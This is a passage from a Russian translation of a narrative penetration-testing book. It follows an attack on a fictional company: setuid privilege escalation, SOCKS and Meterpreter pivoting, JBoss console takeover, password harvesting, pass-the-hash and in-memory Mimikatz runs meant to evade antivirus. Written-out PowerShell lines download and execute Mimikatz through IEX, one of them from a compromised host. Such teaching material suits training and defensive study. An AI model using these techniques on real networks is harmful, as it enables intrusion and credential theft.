самые высокие привилегии в системе, а следовательно, устраняет
необходимость в применении техник, перечисленных ниже. В
любом случае, давайте сосредоточимся на нашей Linux-машине.
Повышение привилегий и файлы ​
setuid могут не сочетаться
друг с другом, но они безусловно создают привлекательную
комбинацию в мире Linux. Это должно быть первой реакцией
любого хакера/пентестера при взломе Linux-машины.
Файлы в Linux-дистрибутивах могут обладать специальным
атрибутом “s”, который называется битом setuid. Это позволяет
любому пользователю исполнять файл с привилегиями владельца.
К примеру, учетная запись root создает скрипт для удаления
некоторых критичных файлов. Если добавить бит setuid к этому
Перевод
@Ianuaria
skladchik.com
файлу, любой другой пользователь, который запустит скрипт,
выполнит команду удаления с привилегиями пользователя root.
Помните, что если мы отредактируем ​
setuid-​скрипт, он
потеряет это специальное свойство. Что будем искать в этом
случае - ​setuid-​скрипт, который использует неочищенные команды,
управляет переменными окружения, выполняет другие бинарные
файлы - что-то, что мы сможем контролировать и использовать,
обманным путем заставив выполнять наш код.
Давайте для начала выведем список всех ​
setuid-​файлов при
помощи следующей команды:
Появляется программа ​
def_policy​. Любой может запустить ее
с привилегиями учетной записи ​
oinstall.​ Это может быть и не root,
но тем не менее, это небольшой шаг вперед.
Выполним команду ​
strings для исполняемого файла
def_policy,​ будем искать любые данные, жестко закодированные в
программу:
Перевод
@Ianuaria
skladchik.com
​ казывается
Программа
​def_policy
о
простой
программой-оболочкой для исполнения скрипта ​
install.sh​. Формат
​ ерется из
строки “%s” означает, что местоположение ​
install.sh б
переменной… Может быть, “ADMIN_PATH”? Возможно, но в коде
программы нет пути. Скорее всего, путь находится в переменной
окружения, определяемой на уровне сеанса.
Интересный момент, кстати говоря, каждый пользователь
управляет своими собственными переменными окружения. Мы
можем обмануть программу, подставив новый скрипт ​
install.sh​,
находящийся в директории, которую мы контролируем. Этот новый
фейковый скрипт будет просто создавать новый сеанс Bash с
привилегиями учетной записи ​
oinstall​.
Хорошо! К нашей огромной радости, учетная запись ​
oinstall ​не
только является частью группы ​
adm​, но также и группы ​
sudo​! Это
Перевод
@Ianuaria
skladchik.com
означает, что у нее есть возможность олицетворения пользователя
root:
Минус один… Еще многое предстоит впереди.
Совет​:
изучите
скрипт
​linuxprivchecker,​
который
автоматически выполняет некоторые интересные техники:
https://www.securitysift.com/download/linuxprivchecker.py
Совет​: тоже самое для Windows:
https://github.com/pentestmonkey/windows-privesc-check
Лестница в небо
Теперь, когда мы с удобством сидим под ​
root ​на одной из
машин, нам нужно осмотреться в Синей коробке и найти, что еще
там есть.
Поскольку большая часть информационных систем
основаны на Windows, было бы идеально определить
местоположение
и
скомпрометировать
Windows-машину56,
находящуюся в публичной DMZ. Таким образом мы сможем
повторно использовать некоторые уязвимости или пароли на других
машинах в дальнейшем.
Но чтобы как следует запускать атаки, нам нужно загрузить
все наши стандартные хакерские утилиты (​
nmap,​ некоторые
кастомные скрипты на Python, ​
PowerShell Empire и т.д.) на
Linux-машину, которую мы только что скомпрометировали.
Поступать таким образом, однако, достаточно “грязно”. Вдобавок,
56
У нас есть полученный ранее MongoDB-сервер, но я хочу показать вам, как атаковать
“изнутри”
Перевод
@Ianuaria
skladchik.com
следователь в будущем скорее всего найдет все наши специальные
инструменты и проанализирует их, чтобы разобраться с атакой.
Вот почему мы отдадим предпочтение второму подходу,
который гораздо более чист и сексуален: виртуальный туннель. Мы
настроим Linux-машину таким образом, что она будет принимать
все наши пакеты и напрямую перенаправлять их в заданный пункт
назначения. Пункт назначения, который мы не можем увидеть из
интернета из-за частной адресации.
**Примечания по частной адресации**
Доступ к машине может быть получен через интернет по
ее IP-адресу. IPv4 - это четырехбайтный адрес, обычно
представленный в виде X.X.X.X, где X находится в диапазоне от 0
до 255.
Некоторые из этих диапазонов IP-адресов зарезервированы
для локальных сетей и не могут быть использованы в
интернете (RFC 1918):
●
●
●
●
127.0.0.1 указывает на локальный компьютер
172.16.0.0/16 (от 172.16.0.0 до 172.16.31.255)
192.168.0.0/24 (от 192.168.0.0 до 192.168.255.255)
10.0.0.0/8 (от 10.0.0.0 до 10.255.255.255)
Если маршрутизатор видит любой из этих адресов в своем
публичном интерфейсе, он попросту сбрасывает его.
****
Сервера Синей коробки находятся в
адресов: 192.168.1.0/24. Очевидно, если
серверу Front Gun отправить пакет на,
интернет-маршрутизатор попросту сбросит
RFC 1918.
Перевод
@Ianuaria
skladchik.com
следующем сегменте
мы скажем нашему
скажем, 192.168.1.56,
его в соответствии с
Следовательно, трюк будет заключаться в том, чтобы дать
инструкцию Linux-машине перенаправлять любой IP-пакет, который
она получает от нас (на свой публичный IP-адрес), в адрес других
машин в сегменте 192.168.1.0/24. По сути дела, это будет работать
как прокси 3-го уровня, также известного как SOCKS-прокси.
SOCKS-прокси
Мы можем найти стандартную реализацию SOCKS-прокси по
следующей ссылке57:
Перед тем, как скомпилировать его, мы изменим порт для
прослушивания с 5555 на что-то менее очевидное (допустим, 1521)
и установим имя пользователя/пароль для подключения к туннелю:
57
​https://raw.githubusercontent.com/mfontanini/Programs-Scripts/master/socks5/socks5.cpp
Перевод
@Ianuaria
skladchik.com
Мы компилируем его на сервере Front Gun, затем запускаем
легковесный HTTP-сервер, чтобы иметь возможность вызвать его
позже с Linux-машины SPH:
На Linux-машине SPH мы просто загружаем программу,
делаем ее исполняемой и запускаем ее:
Порт 1521 открывается на скомпрометированном сервере.
Теперь у нас есть туннель, ожидающий входящие соединения.
Однако, Linux-машина, кажется, сидит за плотным файрволом, не
разрешающим входящий трафик на порт 1521.58
Чтобы решить эту проблему, мы создаем два локальных
правила на Linux-машине, чтобы перенаправлять каждый пакет,
исходящий с нашего IP-адреса на порт 1521:
58
Файрвол блокирует все порты, кроме 80 и 443, которые уже используются веб-сайтом
Перевод
@Ianuaria
skladchik.com
Каждый раз, когда Linux-машина SPH будет получать пакет с
нашего IP-адреса на свой порт 80 (на котором работает
веб-сервер), она будет перенаправлять его на порт 1521.
SOCKS-прокси парсит наш запрос, затем соединяет с
определенным внутренним сервером… Отлично!
Единственное, что теперь нужно сделать, это дать инструкции
всем инструментам, которые мы используем на сервере Front Gun,
использовать этот туннель, который мы только что создали. К
счастью, нам не нужно перезаписывать каждый скрипт на машине.
Proxychains59 - утилита, имеющаяся в Kali по умолчанию позаботится
о
решении
этих
проблем
маршрутизации.
Отредактируем
файл
конфигурации
(/etc/proxychains.conf)
следующим образом:
[ProxyList]
61 # add proxy here ...
62 # meanwile
63 # defaults set to "tor"
64 #socks4 127.0.0.1 9050
65 socks5 career.sph-assets.com 80
Чтобы запустить ​nmap ​с использованием ​
proxychains​, к
примеру, нам нужно только набрать следующую команду на нашем
сервере Front Gun:
​ыполнять Connect()
Совет​: опция -sT принуждает n
​ map в
сканирование. В противном случае трафик не будет идти через
proxychains.​
59
​http://proxychains.sourceforge.net/
Перевод
@Ianuaria
skladchik.com
Meterpreter
​ созданием
Предыдущий маневр был связан с ​
iptables и
правил локального перенаправления, эта утилита доступна только
для root-пользователей. У нас не часто будет подобная роскошь
из-за нехватки времени, мотивации, эксплойтов и т.д.
Для
полноты
картины,
давайте
познакомимся
с
​ о части туннелирования. Во-первых, мы
возможностями ​Metasploit п
сгенерируем исполняемый файл ​
Meterpreter ​для Linux60, затем
настроим подходящий listener на сервере Front Gun:
Далее, мы настраиваем HTTP-сервер для загрузки файла
Meterpreter ​с Linux-машины, которую мы скомпрометировали ранее,
и запускаем его:
Весьма скоро сеанс Meterpreter появится на нашем экране на
Front Gun. Сеанс, который мы сможем использовать для
туннелирования каждой команды, нацеленной не только на сервер,
который мы скомпрометировали, но также и на всю DMZ-сеть.
60
Я бы никогда не стал запускать стандартный файл meterpreter на Windows-машине. Однако,
учитывая, что админы столь неохотно ставят на Linux антивирусные решения, мы можем быть
нетребовательными
Перевод
@Ianuaria
skladchik.com
Чтобы это сделать, мы просто инструктируем модули
Metasploit ​выполнять их команды через этот сеанс ​
Meterpreter​,
добавляя путь к номеру этого сеанса (1, в нашем случае):
Быстрый тест с использованием встроенного сканера ​
Metasploit
подтверждает, что путь работает нормально:
Отлично! Но инструменты сканирования ​
Metasploit ​очень
медлительные и менее надежны, чем классические инструменты
типа ​nmap.​ Вдобавок, было бы замечательно иметь возможность
запускать сторонние инструменты или даже самописные скрипты на
некоторых машинах в сети Синей коробки.
Чтобы
добиться
этого,
мы
используем
модуль
auxiliary/server/socks4a.​ Он открывает локальный порт на нашем
сервере Front Gun. Каждый пакет, который будет приходить на этот
порт, будет автоматически перенаправлен в сеанс ​
Meterpreter,​
следуя пути, который мы добавили ранее (пакеты на 192.168.1.0/24
идут в сеанс 1):
Перевод
@Ianuaria
skladchik.com
Чтобы перенаправлять выходные данные любого инструмента
через этот туннель, который мы только что создали, мы снова
используем ​proxychains​:
Обратите внимание, что ​
Metasploit ​открывает порт 9999 на
сервере Front Gun, в отличие от SOCKS-прокси, который мы
разворачивали ранее.
​ы
И вновь, для запуска ​
nmap с​ использованием ​
proxychains м
просто выполняем:
Совет​: мы также могли бы использовать SSH
перенаправления всех портов, как описано в этом посте:
для
https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/
Слоняемся по окружению
Как только мы сможем достигнуть других серверов в
публичной DMZ, нам нужно исследовать, какие службы и
Перевод
@Ianuaria
skladchik.com
приложения там есть. Мы находимся в сети класса C, поэтому
довольно просто можно просканировать весь сетевой диапазон
(0-255). Однако, мы будем вести себя более тактично с машинами и
сначала протестируем лишь наиболее популярные порты:
● -n не будет резолвить DNS-имена;
● -F будет сканировать только 100 наиболее популярных портов;
● -oA будет записывать результаты в локальный файл
Мы ищем низко висящие фрукты: легкие цели, которые можно
использовать для выполнения кода на сервере, с максимально
высокими привилегиями.
Одинокий (J)Boss
Как и ожидалось, мы обнаружили множество доступных
веб-служб. Большую часть из них мы встречали, когда серфили по
интернету; не стоит забывать, что мы находимся в “публичном”
сегменте сети. Некоторые веб-службы, однако, не показывались на
поверхности ранее во время интернет-сканирования: middleware
консоли!
**Примечания
ПО)**
по
Middleware
(вспомогательное/связующее
Middleware - это компонент, который хостит приложения
более высокого уровня и обрабатывает стандартные задачи
типа: планирование, приоритеты, ресурсы кэширования, очистка
памяти и т.д. Apache - это пример middleware для хостинга
Перевод
@Ianuaria
skladchik.com
веб-сайтов. Другие, более точные примеры - Java middleware:
JBoss, Tomcat, Jenkins и т.д.
Нас, как хакеров, интересует, что это связующее ПО
имеет административные консоли, которые используются
разработчиками для размещения новых приложений и обновления
уже существующих… что-то типа CMS. Если мы сможем
получить доступ к такой консоли, то сможем разместить новое
приложение, которое будет выполнять любой код на сервере.
****
Мы выводим результаты сканирования ​
nmap ​с помощью ​
grep
по следующим открытым портам: 8080, 8443, 8081 и 8888. Эти
порты, скорее всего, содержат middleware типа Jboss, Tomcat,
Jenkins и т.д.
Мы запускаем Firefox, используя ​
proxychains,​ и наслаждаемся
красивым видом домашней страницы JBoss:
Перевод
@Ianuaria
skladchik.com
Идем в консоль JMX, это панель администратора в JBoss, и
как видите, мы получаем доступ к ее содержимому без
необходимости предоставления каких-либо учетных данных…
как-никак, никто не может получить доступ в DMZ, верно?!
Причина, по которой JAVA middleware является столь простой
целью, заключается в том, что существует множество доступных
административных
консолей:
JMX-console,
Web-console,
JmxInvokerServlet… и это лишь те, что работают по стандартному
HTTP. Прочие работают по специальным протоколам типа RMI.
Обычно, чтобы убедиться, что все заперто, нужно совершить
дополнительные действия, но когда люди настраивают тестовые
сервера, они обычно не утруждают себя соблюдением правил
безопасности. Они ждут, когда проект будет запущен месяцев через
6. К тому времени, однако, все уже забывают об этих
административных панелях, либо попросту считают, что кто-либо
другой уже настроил их защиту.
В любом случае, мы можем написать Java-приложение,
которое будет запускать обратную оболочку, упаковать его в
WAR​-файл, затем задеплоить его в JBOSS, после чего будем
наслаждаться удаленным выполнением кода. Для автоматизации
этого
процесса,
мы
воспользуемся
модулем
Metasploit
​
jboss_invoke_deploy​:
Перевод
@Ianuaria
skladchik.com
Уже достаточно близко! Пользователь ​
jboss_svc не обладает
правами администратора, что достаточно необычно для службы
JBOSS на Windows. Как правило, мы получаем системные
привилегии незамедлительно, но по всей видимости, как ни крути,
было выполнено какое-то усиление защиты.
Перевод
@Ianuaria
skladchik.com
Дальнейшие тесты раскрывают, что мы на Windows Server
2003 SP3 с тремя локальными пользователями. Конечно, первое,
что приходит нам на ум: “Это старая система! Разумеется, должны
быть доступны эксплойты, чтобы зарутить это ведро!”61
Не могу не согласиться! Но подобная удача не всегда будет
приходить, так что я буду использовать определенные классические
методы
получения
прав
доступа
администратора
на
Windows-машине… Это быстрее и гораздо более скрытно.
Вдобавок, это работает в 99% случаев.
Совет​: есть грязный способ сделать это при помощи запуска
модуля ​/post/multi/recon/local_exploit_suggester​, чтобы узнать,
какие эксплойты вероятнее всего работают на данной машине.
Взлет и падение
Самая стандартная техника повышения привилегий - это поиск
паролей, записанных в некоторых определенных файлах.
Например, для простого развертывания новых машин админы
обычно используют ПО для развертывания. Пароль локального
администратора иногда записывается в файл под названием
unattend.xml​, используемый ПО для развертывания:
61
Используйте ​https://www.exploit-db.com/​для поиска публично доступного кода эксплойтов
Перевод
@Ianuaria
skladchik.com
В
яблочко!
Используя
любое
base64-декодирование
(PowerShell, Linux, web), мы можем получить пароль в открытом
тексте пользователя ​admin_svc:​ “Hello5me”.
Кажется, в этот раз наш локальный пользователь точно
является членом группы Администраторы:
Совет​: файлы sysprep.xml или sysprep.inf могут также содержать
пароли в простом тексте.
Мы также можем поискать стандартные скрипты (.bat, .sh, .vbs,
.vba, .vbe, .asp, .aspx, .php, .jsp) в локальной системе или в любой
присоединенной общей сетевой папке. Файлы конфигурации также
являются идеальными кандидатами: “.ini”, “.config”, “.properties” и
т.д.
Мы можем выполнить следующие команды, чтобы выявить
больше подобных файлов:
Перевод
@Ianuaria
skladchik.com
И действительно, нечто подобное появляется (конечно, после
определенной очистки и сортировки):
PsExec
- это инструмент, часто используемый для
выполнения команд на удаленных системах. Он требует прав
администратора на удаленном сервере, так что ​
svc_mnt скорее
всего является второй учетной записью администратора в нашем
кармане. Два из двух.
Мы могли бы поискать другие способы заовнить прочие
Windows-машины, но пожалуй, лучше воспользуемся этими
имеющимися учетными записями для получения большего доступа!
(Ознакомьтесь с этой великолепной презентацией, если
интересуетесь повышением привилегий в Windows62).
62
​https://www.youtube.com/watch?v=_8xJaaQlpBo
Перевод
@Ianuaria
skladchik.com
Ливень из паролей
К настоящему моменту у нас есть две локальные учетные
записи Windows, которые выглядят многообещающими: ​
admin_svc
и ​admin_mnt.​ ​Многообещающими в том плане, что они могли также
использоваться на других машинах Windows, и это сэкономит нам
много времени. Как мы можем выяснить это? Весьма просто: мы
подключаемся к каждой машине и тестируем, работают ли эти
учетные записи или нет.
​ ыполняет такую работу на отлично. Он
Crackmapexec в
использует комбинацию вызовов WMI (Windows Management
Instrumentation) и SMB-запросов (совместное использование
файлов) для взаимодействия с удаленными машинами.
Для нашего сценария с брутфорсом, нам нужен только
SMB-порт (445), так что мы возвращаемся обратно к нашим
​ получаем список машин с этим портом. Далее,
результатам ​nmap и
мы запускаем ​CrackMapExec (​​
CME​) с учетными данными,
полученными ранее. Поскольку мы используем локальные учетные
записи, мы добавляем переключатель “-d WORKGROUP”
Учетные данные, которые мы получили, кажется, работают
только на предварительно проэксплуатированной машине с
Windows Server 2003 (192.168.1.70). Иногда админы настраивают
Перевод
@Ianuaria
skladchik.com
разные пароли исходя из версии Windows. А иногда может быть так,
что это вообще разные люди.
Перед тем, как испытать удачу со второй учетной записью
(​svc_mnt​), давайте получим хэш более уполномоченной учетной
записи: локального администратора машины с Windows 2003.
Вероятнее всего, мы добьемся успеха именно с ним.
Опция --sam в CME парсит кусты реестра SYSTEM и SAM,
которые хранят хэши паролей локальных пользователей.
Первой нашей реакцией будет попытаться взломать эти хэши,
но поскольку мы имеем дело с окружением Windows, мы можем
просто пропустить эту часть. Правда в том, что в Windows хэш
является эквивалентом пароля в открытом тексте, благодаря
протоколу NTLM.
**Примечание по LM/NTLM**
NTLM - это семейство протоколов, используемое в Windows
и
включающее
алгоритм
хэширования
и
протокол
Challenge-Response. Давайте сначала обсудим хэши в Windows.
Перевод
@Ianuaria
skladchik.com
Пароли на Windows-машинах хранятся в двух форматах, по
историческим причинам: LM и NTLM-форматы (User:LM:NTLM).
LM-хэш основан на алгоритме DES, а следовательно
является более слабым из двух. Вдобавок, в его архитектуре
есть много недостатков, что облегчает процесс взлома (пароли
ограничены 14 символами, только буквы верхнего регистра, нет
соли и т.д.)
NTLM-хэш - это обертывание Unicode-значения пароля при
помощи алгоритма MD4, имеет длину 128 бит. Он быстро
вычисляется, а следовательно, быстро брутфорсится, при
наличии подходящих ресурсов.
В стандартном сценарии входа в систему, при котором
пользователь сидит перед своим компьютером, Windows
вычисляет хэш пароля, набранного пользователем, и сравнивает
его с хранимым значением. Весьма просто. Но когда сервер
находится
в
сети,
Microsoft
использует
протокол
Challenge-Response для аутентификации пользователей:
Сервер отправляет вызов клиенту рабочей станции: это
случайное число, которое клиент шифрует при помощи ​
хэша
пароля пользователя и отправляет обратно на сервер. Сервер,
зная хэш пользователя, может выполнить определенные
вычисления. Если два результата совпадают, сервер становится
уверен в удостоверении пользователя.
Как вы могли заметить, клиент использует ​
хэш для
отклика на вызов, а не пароль. По этой причине атакующий
может олицетворить любого пользователя, не зная его пароля.
Позже Microsoft внедрили протокол Kerberos, чтобы
избежать подобной дыры, но компании продолжают пользоваться
Перевод
@Ianuaria
skladchik.com
NTLM. Они не могут просто отключить его без нарушения всей
своей архитектуры Windows.
****
Вооружившись NTLM-хэшем учетной записи администратора,
мы запускаем ​CME ​на всех серверах Windows еще раз:
Вот это другое дело! У нас есть доступ к каждой
Windows-машине, независимо от ее версии! А следовательно, мы
можем делать практически что угодно на удаленных машинах:
получить файлы, шпионить за пользователями, сделать дампы
хэшей и т.д.
Но что если я скажу вам, что мы можем сделать кое-что
лучшее. Мы можем получить пароли в открытом тексте последних
подключавшихся пользователей на любой Windows-машине без
необходимости в брутфорсе чего-либо. Это никакая не уязвимость,
по своей сути, а скорее дыра в архитектуре. Первый публичный
инструмент для эксплуатации такой дыры называется ​
Mimikatz,​ и
он навсегда изменил мир тестирования на проникновение и взлома
Windows.
Перевод
@Ianuaria
skladchik.com
**Примечание по Mimikatz - волшебной палочке для Windows**
Gentilkiwi
разработал
​Mimikatz
д
исследования
​ ля
внутренностей механизмов аутентификации Windows. Он
выяснил, что после того, как пользователи входят в систему, их
пароли сохраняются в процессе Сервиса проверки подлинности
локальной системы безопасности (LSASS) в памяти. Используя
незадокументированные функции Windows, ​
Mimikatz м
​ ожет
дешифровать эти пароли и отображать их.
Я рекомендую вам ознакомиться с различными материалами
Gentilkiwi63 касаемо деталей этой дыры, но удивительная вещь
заключается в том, что это по-прежнему работает даже спустя
столько много лет.
Mimikatz ​предоставляет так много опций, что он
фактически
стал
основным
инструментом
для
взлома/пентестинга окружений Windows. Мы поговорим о
некоторых из его функций позже.
****
Возможно, вы размышляете, не слишком ли мы рискуем на
данном этапе. Этот инструмент широко используется. Конечно же,
антивирусы и средства для борьбы с вредоносным ПО пометят
первые пять байт этого инструмента. И это правда! Но есть одна
простая и важная истина по поводу антивирусных продуктов: они
анализируют только файлы, которые вы записываете на диск. Не
важно, какими замечательными и инновационными являются их
методы, они ограничены этим простым фактом.
63
​https://www.youtube.com/watch?v=-IMrNGPZTl0
Перевод
@Ianuaria
skladchik.com
Mimikatz ​был настолько успешным, что стал быстро
интегрироваться в большинство инструментов для атаки на
Windows. ​CrackMapExec (​​
Empire​, ​
Metasploit ​и другие) могут
запускать его удаленно в памяти, избегая обнаружения
традиционными антивирусными вендорами вместе взятыми:
Давайте разберем цепочку нашей атаки, чтобы понять эту
команду: ​Crackmapexec з​апущен на нашем сервере Front Gun. Он
инициализирует удаленный процесс в памяти, используя
удаленные вызовы процедур (RPC64) на порту 135. Этот процесс
затем запускает небольшой PowerShell stager на целевых машинах.
Этот stager грабит PowerShell-скрипт, запуская ​
Mimikatz65 из ​
CME
(следовательно, опции --server и --server-port), исполняет его в
памяти и отправляет результат обратно по HTTP. Никакого
Mimikatz ​на диске, никакого обнаружения; все именно так просто.
В конечном счете мы собираем большее шести уникальных
паролей. Каждый из этих паролей - это потенциальный ключ
доступа к большему количеству машин в Зеленой коробке.
64
Удаленные вызовы процедур - это протокол, используемый в Windows для удаленного
взаимодействия с машинами. Вызов делается на порт 135, он инструктирует клиента связаться
с произвольным портом (между 49152 и 65335) для выполнения команд
65
​https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
Перевод
@Ianuaria
skladchik.com
Это будет темой следующей главы.
​ ​Mimikatz ​был
Совет:​ весь этот маневр с ​
CrackMapExec и
основан на сильном допущении, которое не всегда может
оказаться правдой: факте, что Windows-сервера в публичной
DMZ могут соединяться с нашим сервером Front Gun через порт
80 для обмена результирующими паролями. Такое не всегда
может пройти, как мы узнаем позже.
Перевод
@Ianuaria
skladchik.com
Внутрь гнезда
“Только очень смелая мышь делает гнездо в ухе кошки”
Эрл Дерр Биггерс
Перевод
@Ianuaria
skladchik.com
Становится все интересней. К настоящему моменту мы имеем:
● Контроль над Linux-машиной в Синей коробке (публичная
DMZ-сеть)
● Шесть учетных записей с правами администратора на
различных Windows-машинах в Синей коробке
● Виртуальный туннель для достижения машин внутри Синей
коробки
Приятный факт относительно следующей части нашего учения
состоит в том, что в целом это лишь переделка на новый лад всего
того, что мы делали ранее, а именно: исследование открытых
портов, эксплуатация уязвимостей, дамп паролей и повторение
этого цикла…
Но давайте не будем забывать нашу основную цель: мы хотим
получить доступ к почтовому ящику директора компании, извлечь
критичные данные и, конечно же, оставить минимальный след за
собой.
Active Directory
Чтобы должным образом проследовать оставшейся части
сценария, важно иметь элементарные знания об Active Directory.
Эта небольшая глава преследует эту цель, явно затрагивая
некоторые ключевые аспекты Active Directory. Если вы чувствуете,
что знаете AD, можете просто пропустить эту главу и перейти к
следующей.
Windows-машины в корпоративном окружении обычно связаны
друг с другом с целью совместного использования ресурсов и
общих параметров. Эта взаимная связь устанавливается при
помощи Windows Active Directory.
Перевод
@Ianuaria
skladchik.com
Корневой узел Windows Active Directory называется ​Лесом
(“Forest”). Его единственная цель - содержать домены (группы
машин и пользователей), которые используют общие параметры66.
Каждый домен следует своим собственным политикам (стойкость
паролей, расписание обновлений, учетные записи пользователей,
машины и т.д.)
Контроллер домена - это Windows-машина, которая
контролирует и управляет этим доменом. Это центральный хаб, на
который опираются ресурсы для принятия решений, или с которого
они запрашивают новые параметры. Чем больше сеть, тем больше
в
ней
контроллеров
доменов
для
масштабирования
производительности.
На Windows-машине, присоединенной
определяться два типа пользователей:
к
домену,
могут
● Локальные пользователи, чьи хэши хранятся локально на
сервере
● Пользователи домена, чьи хэши хранятся в контроллере
домена
Отсюда следует, что пользователь домена не привязан к
одной рабочей станции и может подключаться ко всем рабочим
станциям в домене (за исключением случаев, когда это запрещено).
Чтобы удаленно подключиться к серверу, однако, пользователю
необходимо иметь либо права на удаленное подключение к
рабочему столу на указанном сервере, либо права администратора
(локального или администратора домена).
Пользователи могут быть участниками локальных групп,
определенных исключительно на указанной машине, либо они могут
быть участниками доменных групп, определенных на уровне домена
- то есть, на машине контроллера домена.
66
Каждый домен затем может быть разделен на организационные подразделения
Перевод
@Ianuaria
skladchik.com
Есть три основные доменные группы, которые обладают
тотальным контролем над доменом и всеми его ресурсами:
● Группа администраторов домена
● Группа администраторов предприятия
● Администраторы домена
Если мы контролируем учетную запись, принадлежащую
одной из этих групп, то это автоматический шах и мат компании!67
Рассмотрим нашу текущую ситуацию, Windows-машины,
которые мы скомпрометировали в публичной DMZ, не
присоединены к домену, и в этом есть смысл: домен - это
внутренний ресурс, который не занимается управлением или
содержанием публично доступных из интернета ресурсов.
В идеальном мире, должен быть определен публичный домен
(или Лес) для обеспечения работы подобных машин. Конечно, не
должно существовать доверия между внутренним и “внешним”
доменом. SPH выбрали более простой вариант: исключить все свои
сервера в Синей коробке из внутреннего домена и управлять ими
при помощи одного единственного пароля администратора.
Общая цель последующих глав - совершить переход (pivot) с
“внешних” Windows-машин на машину домена, и конечно, повысить
привилегии внутри домена.
Куда мы направляемся?
Мы знаем, что сегмент Синей коробки находится в частной
сети 192.168.1.0/24, а что насчет Зеленой коробки (внутренней
67
Есть несколько других путей для получения тотального контроля над доменом: прописать
привилегию в GPO, делегирование административных привилегий и т.д.
Перевод
@Ianuaria
skladchik.com
сети)? Мы могли бы вслепую предположить ее диапазон, но это не
слишком-то весело.
К счастью, выясняется, что в большинстве случаев сервера
DMZ
привязываются для взаимодействия с некоторыми
внутренними машинами, будь то базы данных, файловые сервера,
рабочие станции и проч. И это все, что нам нужно!
На любой из скомпрометированных машин мы запускаем
стандартную команду ​netstat для отображения списка всех
установленных IP-соединенией.
IP-адрес 10.10.20.118 определенно не является частью сети
Синей коробки. Давайте разберемся с этим сегментом IP-адресов.
Мы консервативные хакеры, поэтому допускаем, что это небольшая
/24 сеть, пока не было доказано обратного.
Перевод
@Ianuaria
skladchik.com
Повторное использование пароля
В нашем запасе достаточное количество паролей, поэтому
нам не обязательно искать новые уязвимости в этом новом
IP-сегменте. В конце концов, зачем искать сложные эксплойты, если
мы можем сымитировать вход в систему обычного пользователя.
Нашей стратегией будет стандартная аутентификация на всех
Windows-машинах с учетными данными, которые мы уже собрали.
Это не классическая брутфорс атака (одна учетная запись,
множество паролей), но скорее “парный брутфорс”68: на каждой
машине мы пробуем одну и ту же учетную запись/пароль. Таким
образом мы избегаем блокировки учетной записи или запуска
любых правил обнаружения.69
Идея состоит в том, чтобы найти ту самую заветную машину,
связанную с доменом, которая впустит одного из локальных
пользователей, которые есть у нас в наличии. Все, что нам нужно,
это одна из сегмента 253-х внутренних машин. Мы предполагаем,
что их именно столько. Как только мы найдем ее, мы сможем
перезапустить ​Mimikatz и
​ получить еще больше паролей. Но в этот
раз мы скорее всего получим учетные записи домена - возможно,
даже привилегированные учетные записи домена.
Во-первых, мы запускаем ​
nmap д
​ ля идентификации целевых
машин с открытым портом 445, чтобы сузить список целей. Мы
также включим 3389, поскольку это может всегда пригодиться.
68
Термин, который я только что придумал
69
Это утверждение применимо только для локальных пользователей. Как уже объяснялось
ранее, пользователь домена аутентифицируется контроллером домена. Счетчик блокировки
затем сохраняется контроллером домена и не берет в расчет целевую машину. К примеру,
если lockout = 5, и мы провалим аутентификацию на 5 различных машинах, то доменная
учетная запись будет заблокирована, в то время как локальная учетная запись - нет.
Перевод
@Ianuaria
skladchik.com
Учитывая, что мы контактируем с этими серверами из сети
Синей коробки, достаточно предсказуемо, что некоторые порты
фильтруются.
Из всех учетных записей, что у нас есть, ​
svc_mnt самая
перспективная. Она похожа на служебную учетную запись,
используемую для управления каким-то приложением. Поэтому есть
большие шансы того, что она определена на другом сервере. Мы
запускаем ​CME с​ этой учетной записью:
Перевод
@Ianuaria
skladchik.com
Совет​: восклицательный знак имеет специальное значение в
Bash и поэтому должен быть экранирован, особенно при
размещении перед цифрами. По этой причине в поле с паролем
использован символ обратного слэша.
Лишь несколько машин, кажется, приняли ​
svc_mnt.​ Не круто.
Вдобавок, из-за Контроля учетных записей пользователей (UAC) мы
не можем удаленно запустить ​
Mimikatz.​
UAC - это средство, представленное в Windows Vista, которое
запрашивает у пользователей во всплывающем диалоговом окне
разрешение
на
выполнение
привилегированных
действий
(установка ПО и т.д.). Следовательно, даже админ не может
удаленно выполнять привилегированные команды в системе.
Стандартная учетная запись администратора по умолчанию не
подлежит Контролю учетных записей пользователей70, вот почему
она не интересовала нас так сильно до этого.
К счастью, RDP порт (3389), по всей видимости, открыт на
одной из машин, принимающей ​
svc_mnt:​ 10.10.20.118. Если мы
70
Администраторы иногда могут настроить ключ реестра LocalAccountTokenFilterPolicy, который
эффективно отключает Remote UAC
Перевод
@Ianuaria
skladchik.com
сможем открыть графический интерактивный сеанс на удаленном
сервере, то UAC перестанет быть проблемой, не так ли!
Мы запускаем ​rdesktop (или ​
mstsc)​ на сервере Front Gun и
подключаемся с учетной записью ​
svc_mnt​:
Далее, мы пишем небольшой скрипт, который будет загружать
написанный на PowerShell ​
Mimikatz ​и выполнять его только в
памяти при помощи команды ​
IEX (​Invoke-Expression):
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials
​ $browser.​DownloadString(
​ "https://raw.githubusercontent.com/PowerShellMafia/Pow
IEX(
erSploit/Mimikatz.ps1"))
invoke-Mimikatz
Мы открываем консоль командной строки с правами
администратора (правый клик > запуск от имени Администратора),
затем запускаем скрипт:
Перевод
@Ianuaria
skladchik.com
Терпеливо ожидаем несколько секунд, но функция
DownloadString лишь лагает; кажется, машины в сегменте
10.10.20.0/24 не могут получить доступ в интернет - по крайней
мере, без прокси, для которого требуются валидные учетные
данные домена, которых у нас пока еще нет…
Чтобы
обойти
это
ограничение,
мы
загружаем
Invoke-Mimikatz.ps1 н
​ а Linux-сервер, который скомпрометировали
ранее, и запускаем стандартный HTTP-сервер, чтобы осуществить
задуманное:
Обновляем PowerShell-скрипт, чтобы отобразить изменение в
URL, и запускаем его повторно:
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-Mimikatz.ps1"))
invoke-Mimikatz
Мы можем не быть администраторами домена пока что, но я
надеюсь, вы не упустили из виду пароль локального
Перевод
@Ianuaria
skladchik.com
который
администратора,
Dom_M@ster_P@ssword1.​
промелькнул
на
экране:
Похоже, что на машинах домена другие учетные записи
локальных администраторов, в отличие от машин, которые не
являются членами домена. Очень круто, теперь мы можем
запустить ​Mimikatz н
​ а всех машинах, где используется эта же
учетная запись администратора. Иногда это будет работать, иногда
